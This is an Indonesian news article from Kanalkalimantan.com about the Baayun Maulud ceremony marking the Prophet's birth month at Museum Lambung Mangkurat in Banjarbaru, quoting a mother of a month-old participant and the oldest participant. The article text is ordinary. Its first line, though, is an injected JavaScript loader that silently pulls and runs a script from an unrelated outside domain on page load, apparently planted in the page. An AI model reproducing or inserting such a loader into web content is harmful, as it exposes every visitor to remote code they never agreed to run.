(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Ratusan orang tak mau ketinggalan iringan mengikuti prosesi Baayun Maulud di Museum Lambung Mangkurat Banjarbaru memperingati bulan kelahiran Nabi Muhammad SAW, Rabu (17/9/2025) siang.
Baayun Maulud menjadi salah satu warisan budaya tak benda Suku Banjar yang secara turun temurun terus dilestarikan dan setiap tahun digelar.
Tercatat 165 peserta dari berbagai daerah berpartisipasi dalam tradisi yang sarat akan nilai spiritual. Lantunan salawat menggema di halaman Museum Lambung Mangkurat.
Baca juga: Halte Portabel Pertama di Trikora Banjarbaru, Layani Warga Disabilitas Akses Angkutan Feeder
Suasana semakin meriah karena tak hanya diramaikan oleh anak-anak, tapi Baayun Maulud juga diikuti oleh orang dewasa.
Salah satu yang termuda Baayun Maulud diikuti bayi berumur baru 1 bulan 23 hari bernama Alena asal Kelurahan Sungai Ulin, Kota Banjarbaru.
Ratih, ibu dari Alena mengatakan sengaja mengikutsertakan putri keduanya itu untuk mengambil barokah bulan kelahiran Nabi Muhammad SAW.
“Tanggal 25 nanti 2 bulan umurnya, sekarang masih sebulan lebih, kakaknya dulu ikut juga tahun 2013,” ujar Ratih.
Baca juga: Bupati Kapuas Pimpin Upacara Harhubnas ke-54 dan Haornas ke-42
Ratih berharap dengan mengikuti Baayun Maulud ini seperti anak dapat menjadi anak yang solehah serta dapat mengambil barokah pada bulan kelahiran Nabi Muhammad SAW ini.
Tak mau ketinggalan, Hj Hamaliah (63) berasal dari Kalimantan Timur yang baru saja pindah ke Kalimantan Selatan mengaku ikut dalam. prosesi Baayun Maulud di Museum Lambung Mangkuran ini.
“Mau ikut meramaikan Maulid Nabi dengan Baayun Maulud ini, karena senang melihat banyak orang yang kut,” ujar Hj Hamaliah, peserta tertua Baayun Maulud di Museum Lambung Mangkurat.
Baca juga: Perkuat Ukhuwah Islamiyah, PTAM Intan Banjar Gelar Peringatan Maulid Nabi Muhammad
Di samping itu dirinya turut mengambil berkah dari kegiatan tradisi bernafaskan Islam ini.
“Semoga bisa lebih meriah lagi daripada ini, bertambah orang-orang yang ikut baayun lebih banyak lagi,” katanya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.